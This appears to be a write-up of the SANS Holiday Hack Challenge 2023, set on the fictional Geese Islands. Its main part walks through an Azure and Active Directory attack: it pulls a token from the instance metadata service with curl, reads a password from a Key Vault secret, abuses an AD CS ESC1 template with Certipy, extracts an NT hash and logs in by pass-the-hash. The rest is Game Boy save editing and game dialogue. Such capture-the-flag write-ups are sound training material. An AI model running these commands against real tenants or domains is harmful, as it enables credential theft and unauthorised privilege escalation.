GET https://management.azure.com/subscriptions/{{subscriptionId}}/resourceGroups/{{resourceGroupName}}/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-10-30T13:17:02.532Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-10-30T13:17:02.532Z"
},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
So how do we get the contents of this vault? The Microsoft documentation knows that too:
GET https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4
{
"error": {
"code": "Unauthorized",
"message": "AKV10022: Invalid audience. Expected https://vault.azure.net, found: https://management.azure.com/."
}
}
How daft. It seems we need another Bearer Token here. Okay, it's time for the AI again.
PROMPT: I got a bearer token with this command: curl 'http://169.254.169.254/metadatce=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
. How can I get a bearer token to list secrets in a vault in Azure using curl API?
ChatGPT: The command you mentioned seems to be using the Azure Instance Metadata Service (IMDS) to acquire an access token. This service is available on Azure virtual machines and allows VMs to get information about their environment and obtain tokens for accessing Azure services. To use this token to list secrets in an Azure Key Vault, you need to follow these steps:
Get Access Token Using IMDS:
You already have the command to get the token. It's important that the resource in the query string is set to the Azure Key Vault's scope, which is https://vault.azure.net.
Here's a corrected version of your command: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H "Metadata: true" -s
We do this quickly in the console and send the query again with the new bearer token:
GET https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4
{
"value": [
{
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
],
"nextLink": null
}
And immediately afterwards, after another look at the Microsoft documentation:
GET https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4
{
"value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
Cool, we can certainly use this data!
First, let's see if we can get information on the share
Unfortunately, our user does not have the necessary rights. So let's first check which users actually exist in the domain. To do this, we use the tools available to alabaster.
alabaster@ssh-server-vm:~/impacket$ ./GetADUsers.py -all -dc-ip 10.0.0.53 'northpole.local/elfy:J4`ufC49/J4766'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-13 01:10:31.560964 2023-12-13 13:38:28.313036
Guest <never> <never>
krbtgt 2023-12-13 01:17:09.824614 <never>
elfy 2023-12-13 01:19:38.018905 2023-12-13 19:08:27.898243
wombleycube 2023-12-13 01:19:38.112684 2023-12-13 19:07:37.872400
alabaster@ssh-server-vm:~/impacket$
We already know that wombleycube
should be our goal. The question is what options are available to us to elevate our permissions. If we look at the progress so far, AD CS Domain Escalation immediately comes to mind. And there is a great source for this: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.
Let's start by looking for vulnerable certificate template
alabaster@ssh-server-vm:~/impacket$ ./certipy find -u elfy@northpole.local -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231213182858_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231213182858_Certipy.txt'
[*] Saved JSON output to '20231213182858_Certipy.json'
alabaster@ssh-server-vm:~/impacket$
The log file shows that we have a good chance.
[!] Vulnerabilities
ESC1 : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Let's try variant 1 right away: Misconfigured Certificate Templates - ESC1. The website already provides a great explanation, so I don't want to copy it again here.
We already have all the required parameters.
alabaster@ssh-server-vm:~/impacket$ ./certipy req -u 'elfy@northpole.local' -p 'J4`ufC49/J4766' -ca 'northpole-npdc01-CA' -template 'NorthPoleUsers' -upn 'wombleycube@northpole.local' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 142
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
alabaster@ssh-server-vm:~/impacket$
So, now let's try to abuse this vulnerability to impersonate wombleycube
alabaster@ssh-server-vm:~/impacket$ ./certipy auth -pfx 'wombleycube.pfx' -username 'wombleycube' -domain 'northpole.local' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
alabaster@ssh-server-vm:~/impacket$
A hash is of course sufficient for pass-the-hash, so we return to our first command and adapt it as follows:
alabaster@ssh-server-vm:~/impacket$ ./smbclient.py -dc-ip 10.0.0.53 -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 'northpole.local/wombleycube@10.0.0.53'
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw- 0 Wed Dec 13 01:20:33 2023 .
drw-rw-rw- 0 Wed Dec 13 01:20:30 2023 ..
-rw-rw-rw- 701028 Wed Dec 13 01:20:33 2023 Cookies.pdf
-rw-rw-rw- 1521650 Wed Dec 13 01:20:33 2023 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Wed Dec 13 01:20:33 2023 SignatureCookies.pdf
drw-rw-rw- 0 Wed Dec 13 01:20:33 2023 super_secret_research
-rw-rw-rw- 165 Wed Dec 13 01:20:33 2023 todo.txt
# cd super_secret_research
# ls
drw-rw-rw- 0 Wed Dec 13 01:20:33 2023 .
drw-rw-rw- 0 Wed Dec 13 01:20:33 2023 ..
-rw-rw-rw- 231 Wed Dec 13 01:20:33 2023 InstructionsForEnteringSatelliteGroundStation.txt
# cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
#
Ribb Bonbowford tells us
Wow, nice work. I'm impressed!
This is all starting to feel like more than just a coincidence though. Everything Alabaster's been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.
Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It's just a machine. But I wonder who could have built it and who is controlling it?
On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.
Well, I guess it's probably somewhere on Space Island, but I've not been there yet.
I'm not a big fan of jungles, you see. I have this tendency to get lost in them.
Anyway, if you feel like investigating, that'd be where I'd go look.
Good luck and I'd try and steer clear of ChatNPT if I were you.
Find the third Gamegosling cartridge and beat the game
The name's Angel Candysalt, the great treasure hunter!
A euphemism? No, why do people always ask me that??
Anyways, I came here to nab the treasure hidden in this ship graveyard, only to discover it's protected by this rusted maze.
That must be why all these old ships are here. Their crew came to find the treasure, only to get lost in the labrynth.
At least it's obvious where this one is. See that shiny spot over to the right? That's gotta be where it is! If only I had a bird's eye view.
But how to get there? Up? Down? Left? Right? Oh well, that's your problem now!
Come back if you can find your way to it, and I'll tell you some secrets I've heard about this one.
Angel Candysalt gives us following hint:
The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.
First we have to find the cartridge in the labyrinth. This is very easy if we zoom out.
After returning to Angel Candysalt he says
The life of a treasure hunter isn't easy, but it sure is exciting!
Oh it's a video game, I love video games! But you've claimed this treasure, nicely done.
Now, about those secrets I've been told. They're pretty cryptic, but they are. Hopefully that helps with something!
You have all three? Wow, you must be the greatest treasure hunter that ever lived!
And we get the following additional hint:
1) This one is a bit long, it never hurts to save your progress! 2) 8bit systems have much smaller registers than you’re used to. 3) Isn’t this great?!? The coins are OVERFLOWing in their abundance.
We use a GameBoy emulator under Windows, for example the visualboyadvance. To do this, we first download the corresponding ROM (game.gb
), which is displayed in the frame.
We can collect coins in this game. When we talk to the characters, we also learn that we need 999 coins to progress. If we collect that many coins, however, we will have the problem that the counter jumps from 998 to 001.
However, the game also offers the option of saving the status and reading it in again. Perhaps we can manipulate the save status so that we get exactly 999.
So let's collect 998 coins (fortunately there are 100, 10 and 1 coins). Then we save the score. As this is binary, we convert it into hex format.
xxd game.sav game.hex
If we also save another savegame and compare it, we can see that essentially only the first 4 lines change. So let's concentrate on that and change everything from 8 to 9, maybe that will be enough. When we restart the game, we realize that this is not enough. If we save 1 or 2 more savegames, we see that the block after 7, 8, 9, etc. also changes. So let's adjust this in the same way as the 9:
head -n 6 game.hex
00000000: ca5c 3cbd 0000 0000 0000 0000 0000 0000 .\<.............
00000010: 0000 0000 0900 0900 0900 0900 0900 0900 ................
00000020: 0900 0100 0900 0900 fe00 0900 fe00 0000 ............w...
00000030: 0900 0900 0900 0900 0900 0900 0100 0900 ................
00000040: 0900 0900 0900 fe00 0900 0900 0900 0900 ................
00000050: 0900 0900 0900 0100 0100 0000 0000 0000 ................
We convert this customized file back into binary format and start the game, which was indeed successful: xxd -r game.hex game.sav
We play a bit of classic platformers and eventually come to a big gap.
We cross this and reach a cave. Here we talk to the characters again in the correct order and see our flag at the end: !tom+elf!
Welcome to the Geese Islands, fellow traveler! This one is called Christmas Island. Nooo ho ho, not that Christmas Island.
After countless years of shivering and shaking through each holiday season, I thought to myself, "Why not trade the snowflakes for sunbeams, just once?"
Oh, the North Pole has its charm, but the bones do yearn for a bit of warmth now and then.
The notion was suggested by my good friend, Chat North Pole Technology, or as we like to call it, 'ChatNPT'. That's the one we use, but there's a whole slew of other AI platforms. You should try them out!
It came to me describing palm trees and gentle waves, saying, "Santa, let your holidays take flight to Geese Islands, where the warmth isn't just a setting."
"There, every day is a sunny scene straight out of a vintage film reel."
I chuckled at the thought, my belly shaking like a bowl full of jelly.
But the AI persisted, "Winter's best kept secret: the balmy breezes of Geese Islands!"
And I must confess, the sound of that did stroke my beard with curiosity.
So, I called a meeting with the elves, the reindeer, and Mrs. Claus, of course.The elves were all a-buzz with the idea of crafting toys with a view of the ocean!
Thus, we packed up our sleighs and ChatNPT charted a course for the Geese Islands, a tropical paradise just north of the equator..
And I must say, there's something quite magical about a Christmas carol sung to the strum of a ukulele.
After all, the magic of the holidays isn't in the snow or the cold, but in the love and the care that we put into each and every gift.
So here's to trying new things, to following the sunshine, and to the Geese Islands, where the holiday cheer is sun-kissed and the Christmas spirit is as warm as the tropical breeze.
And it's all thanks to a little nudge from ChatNPT.
Now, why not start off your vacation with a snowball fight with Morcel, or check out my surf shack on the other end of the beach?
However you decide to relax, be sure to soak in all the whimsical beauty of these magical islands, and enjoy the activities to the fullest!
After talking to Santa, we get the following hint:
The AI revolution has begun. Some of the most prominent and useful tools born from the advent of powerful AI include ChatGPT, ElevenLabs, Midjourney, Dall-E 3, Bing AI, and Bard, and Grok.
Welcome, brave souls, to the most thrilling cyber quest of the year! Ready your wits and sharpen your skills, for the digital realm awaits!
I'm Wunorse, your helper in this festive cyber journey. Whether you're a seasoned hacker or a budding cyber sleuth, you're in for an epic experience!
As we embark on this adventure, remember, every challenge is a chance to shine brighter! Let's tackle these puzzles with the joy and teamwork befitting this jolly season!
Keep your eyes peeled for clues and your spirits high. In the world of NetWars, every click can lead to wonderful discoveries!
May your codes be bug-free and your solutions creative. Let NetWars begin, and may the best cyber elf win!
Let the games begin!
Just a humble rod and reel. Perfect for catching all manner of aquatic life.
Let's fish for fish in between. We have cataloged the following species in the Pescadex so far:
Well hello there! I'm Pepper Minstix.
Say, do you like cotton candy by any chance?
I used to own a little cotton candy maker, but I like cotton candy so much that I decided to upgrade. Behold! The Cotton Candy Colossus 2.0.
Can I interest you in free cotton candy? What do you say! They are absolutely amazing!
Have fun on the Geese Islands! There's still more to discover --
Like sailing your boat along the various coast lines to find new ports, catch some fish, meet new friends, or provide your expertise and assistance where needed.
After you complete all the challenges, come back here for a surprise!
Wombley Cube here, welcome to Chiaroscuro City!
Have you heard about my latest project?
I've been so inspired by these wonderful islands I've decided to write a short story!
The title? It's "The Enchanted Voyage of Santa and his Elves to the Geese Islands." Sounds exciting, right?
Here, have this audiobook copy and enjoy the adventure at your convenience, my friend!
Consider it a welcome gift from yours truly, to make your holiday even more delightful.
Trust me, this captivating tale of fiction is going to take you on a magical journey you won't forget.
Oh, and I promise it will provide some great entertainment while you explore the rest of Geese Islands!
Hey, did you have a chance to listen to my audiobook yet?
So, what did you think?
I've got a pretty suave voice, right?
Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!